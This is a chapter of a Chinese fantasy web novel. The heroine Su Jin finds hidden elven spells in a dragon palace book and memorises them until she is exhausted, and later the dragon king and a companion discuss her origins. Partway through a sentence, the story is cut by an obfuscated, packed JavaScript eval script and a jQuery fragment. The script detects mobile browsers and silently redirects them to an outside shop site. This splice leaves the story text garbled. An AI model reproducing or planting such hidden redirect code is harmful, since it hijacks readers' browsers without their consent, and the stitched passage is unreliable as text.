文趣网 > 都市小说 > 苏锦 > 42.第 42 章
    越是靠近那些书架上的古籍,周遭奢靡的宝光便越是淡去,就连空气中浮动的躁动能量也缓缓沉淀下来,只剩下一种跨越岁月的静谧与肃穆。书架历经无尽岁月侵蚀,依旧完好无损,通体泛着温润暗沉的哑光,每一道木纹都像是时光镌刻的古老轨迹,承载着龙族尘封的过往。

    书架层层分立,整齐罗列着厚薄不一的典籍书卷。书页大多是不知名的异兽皮与灵木纤维精制而成,历经万古光阴,不曾泛黄腐朽,只沉淀出厚重的岁月质感。大部分书卷都封缄着淡金色的龙纹封印,纹路繁复玄奥,流转着若有若无的微弱光泽,隔绝了一切窥探与探查。

    最引人注目的是,中间一层的位置,静静摆放着一本无封无饰的薄册。

    簿册装帧沉稳内敛,深褐色鞣制皮面哑光温润,全无鎏金镶饰、繁复雕纹,初看只觉寻常。待走近细观,才见皮面压着浅淡的神秘图腾,线条繁复婉转,纹路相融无间。精妙的图文暗藏于素雅外表下,透着内敛的华贵。相较周遭璀璨宝物,它朴素得有些扎眼,可独有的亲和气息,却是满堂珍玩都远远不及的。

    苏锦在书架前站定,微微俯身,指尖轻轻勾过册页边缘将其拿起,随意掂了掂分量,质感沉实厚重。随即又后退几步,拉开距离,让视线落得更加清晰。

    果然不是她的错觉,这本册子上的图纹跟之前在图书馆看到的小册封面不能说是一模一样,至少相似率达到百分之八十。唯一不同的是,手中这本形制更大、装帧更为考究,看着反倒像是正统原版。她心头泛起好奇,抬手试着翻开,册页却纹丝不动。她稍用力再试,依旧紧闭如初,仿佛被无形的力量锁住。

    这情况实在蹊跷,刻意摆在显眼处引人注意,却又偏偏不让人翻阅查看。苏锦若有所思地凝望着簿册片刻,没有再勉强尝试,轻轻将它放回原处。随后她抬手从旁侧抽出一本用古精灵文记载大致能够读懂的古籍,抱着书转身缓步离开了书架区域。

    莱斯特安静的站在门口,神情淡漠。片刻后,苏锦抱着一本书缓步走了出来,指尖轻轻摩挲着书页边缘。

    “这本可以带出去吧?”说着,苏锦将书递到他眼前,眼里带着几分试探。

    莱斯特扫了眼封面,确定并非珍贵的龙族古籍,便微微颔首应允。随后他一路护送苏锦回到客房,叮嘱了几句注意安全,才转身离去处理手头事务。

    明朗的晨光铺满龙族宫殿的白玉露台,晨间清风微凉,吹散了殿宇固有的沉冷肃穆。

    苏锦所在的客房内,有一个独立阳台,正适合看书,她便唤来侍卫,让其帮忙将房间内的沙发挪到阳台上,随行的侍女还顺便替她准备了茶点。

    待他们离开后,便躺在沙发上,借着温暖的晨光缓缓翻读古籍。随后她惊喜的发现,没想到龙族的传承竟然能帮助她更加顺畅的读懂古精灵文了,以前她会逐字逐句的对比,才能确定大概意思,现在是直接能看懂大概意思了,可谓是质地的飞跃。

    手中古籍中通篇文字皆是寻常的上古山川记载与族群风俗,内容平淡无奇,没有半分异常。她耐心辨认着古老繁复的符文,一页页静静浏览,只想趁着上午心神清明,多积累一些古文字学识。

    就在她准备翻页之际,视线忽然定格在书页底端的留白处。

    那里藏着一行极纤细、排布隐秘的符文。字体紧凑隐蔽,被正文文字层层遮掩,若非光线恰好落在此处,根本无法被人察觉。不同于通篇平铺记叙的文字,这组符文首尾呼应、韵律规整,隐隐萦绕着一缕纯净柔和的自然气息,一眼便能看出绝非普通记事文字。

    苏锦立刻凝神细看,凭着自己日积月累的古精灵文功底,艰难逐字拆解比对。许多字符生僻冷门,她只能勉强拼凑出大致释义,反复理顺语序、推演逻辑后,一段完整的内容渐渐清晰。

    她心头猛地一震。

    主要是她在默读第一句的时候,发现自己的精神力突然游动起来。

    这并非寻常的记事文字,倒更像是某种咒语。

    咒文不长,温和纯粹,像是用精神力来借自然力为根基,能够安抚躁动神魂、平复精神疲惫的古老秘术。

    没想到只是随手拿出一本普通古籍,竟意外撞见如此珍贵的隐秘传承,这份突如其来的发现,让苏锦又惊又喜。

    可惜她高兴的太早了。

    当她试着在心底默念咒文,想要循着符文韵律牵引周遭自然力,姑且称之为灵力,可刚触及咒文深处的力量脉络,脑海便瞬间泛起滞涩的空茫。原因是她的精神力太过微弱单薄,根基浅薄,根本达不到咒文的催动门槛。

    古咒的每一个音节,都需要凝练纯净的精神力作为媒介,才能衔接天地灵气、引动术法力量。以她目前微薄的精神底蕴,仅仅勉强支撑自己读懂符文含义、记住咒文排布,连完整念出一句咒文都无比艰难,更别说催动法术生效。

    难道就这样放弃?

    自然是不可能,好不容易才找到精神力的使用方向。

    更何况现在不能,并不代表以后不能。

    像是为了得到某种印证,她又翻了几页,发现这种符文还很多,有长有短,想要全部看懂估计短时间内别想了。

    但她明天要回去了,古籍又不能外借或者刻录,那就只能硬背。

    好在咒文虽多,但拆开来记,大多都是重复的,应该能在天黑之前背下来。

    苏锦垂眸望着书页上静静沉睡的古老符文,日光温柔地落在字迹之上。她清晰地记住了每一个字符的形态与顺序,将这些珍贵的咒语反复默读,牢牢记在心底。

    安静的上午时光悄然流淌,意外的机缘让她窥见了上古秘术,也让她真切认清了自身的孱弱。望着手中的古籍,苏锦心底默默埋下了念头——唯有不断打磨、淬炼自己的精神力,终有一日,她能真正唤醒这段沉睡万年的精灵咒语。

    日落西山,当太阳最后的余晖消失在天际时,苏锦终于合上了古籍。她闭上眼,静静仰躺在沙发上,抬手轻轻按压眉心,试图缓解精神力过度透支带来的阵阵胀痛。不过片刻,她再度睁眼,窗外天色已然彻底沉暗。深邃的星空铺展在王宫上空,连片灯火次第亮起,温柔漫过整座巍峨宫城。

    她还是有些高估自己了。

    这本古籍记载的咒文,晦涩与古老远超她的预估。书页间沉淀了千百年的古老意志与残留精神印记,凛冽而厚重。方才数个时辰,她沉心凝神,一字一句剥离、解读封存其中的传承奥义,每一次推演与共鸣,都在持续消耗她的精神。她本以为只是简单的背记解读,以她的精神力能支持全部完整的背下来,可真正深入其中才恍然察觉,这些上古咒文浩瀚磅礴的力量底蕴,根本不是她能够轻松承载。

    精神透支的反噬来得安静却猛烈。酸胀的钝痛从眉心蔓延至整个头颅,密密麻麻的疲惫浸透四肢百骸,让她指尖都透着一阵无力的虚软。晚风穿过敞开的窗棂,携着夜色微凉,轻轻拂过她的面颊。远处塔楼琉璃灯火轻轻摇曳,细碎星光落满天幕,整座王宫静

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695356|205151||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    谧盛大,灯火温柔如许,却丝毫驱散不了她心底的沉倦。

    她微微放缓呼吸,靠着柔软的沙发靠背缓缓平复心绪,任由躁动虚弱的精神力,在静谧夜色中一点点恢复、归于安稳。

    幸好,王宫侍女会定时将餐食给她送来,全程安静,动作利落又轻柔,未曾打扰她,不然她也不会坚持这么久。

    也怪自己大意,全然沉浸在古籍奥义中,竟忘了把控分寸。说到底,身体才是革命的本钱,精神力与肉身本就相辅相成,一味透支只会得不偿失。此刻满心懊悔,暗下决心往后定要劳逸结合,不再这般莽撞行事。

    更何况,有她那位便宜导师在,还怕以后没机会看吗?

    想到这里,她心神一松,整个人有些昏昏欲睡,将手中的古籍放在一旁的茶几上,整个人窝在沙发里,懒洋洋的不想动,就这么打算在阳台上将就一晚。

    窗外星光点点,王宫灯火在夜色里静静摇曳,晚风穿窗而入,轻柔地拂动发丝。她紧绷的身体慢慢舒展,纷乱的思绪一点点趋于平缓,呼吸变得悠长而平稳。

    突然,紧闭的房门被推开,一日未见的爱丽莎走了进来,她迈着轻盈的脚步,先是走到床边抱起一床薄被,随后来到阳台,将被子盖在已经熟睡的人身上,仔仔细细的整理一番确认无漏后,才直起身对通讯中的查理道。

    “这下行了吧!”

    “多谢!”查理冷淡的语气中多了一分柔和。

    “那没事,我就先离开了。”话虽如此,但爱丽莎已经起身离开了阳台,走出了房间。

    走出房间,爱丽莎就看到一个熟悉的黑影伫立在走廊上,正是王宫的主人。

    幽深的长廊灯火昏暗,绵长的宫道空无一人,只有壁灯轻轻摇曳,投下细碎晃动的阴影。塞维里安静静立在廊柱之下,身姿挺拔如青松,一身玄色王袍覆着沉敛的暗色光泽,周身萦绕着属于龙族至高无上的威压。他气息收敛得极深,静立不动时近乎与夜色相融,若非爱丽莎走出房门目光敏锐,根本难以发现他在此守候。

    奇怪?

    她是拜人所托才来查看苏锦的状况,她家陛下跑来干啥?根据她对他的了解,他性子沉稳寡淡,心思深沉,向来不关心无关之人的琐事,也不像是这么闲来无聊的龙。这般默默守在殿外等候的举动,落在任何人眼里,都透着十足的反常。

    “她怎么样?”帝王平淡的声音响起。

    低沉清冷的语调不带丝毫起伏,却自带王族威仪,轻轻压过走廊里微凉的夜风。

    好吧,是她想岔了,她家陛下就是这么无聊。

    “睡着了,我进去都没吵醒,问题应该不大。”爱丽莎伸手抱胸,猛盯着他瞧。“不过,陛下,我很好奇,她究竟是什么来历,明明就一个普通的兽族混血,最多就有点精灵血统,可她也不是龙族啊,身上也不带一点龙族血脉,竟然能接受龙族的传承,最重要的是传承后恢复的还那么快,你没看到族里的那群老家伙都快疯了,连宝贝似的精灵龙都舍得放出来试探了。”

    龙族传承亘古严苛,血脉壁垒千年不破,苏锦的特例早已在高层掀起无数议论,一众长老满心惊疑,始终摸不透其中缘由。

    “这件事我自然会处理,你不要在她面前提起太多。”塞维里安说完便转身离开。

    身后的爱丽莎就差没翻白眼了。

    “切!不说就不说,装什么?”搞得她很想知道似的。

    好吧,她确实很想知道,就不知道查理能知道多少?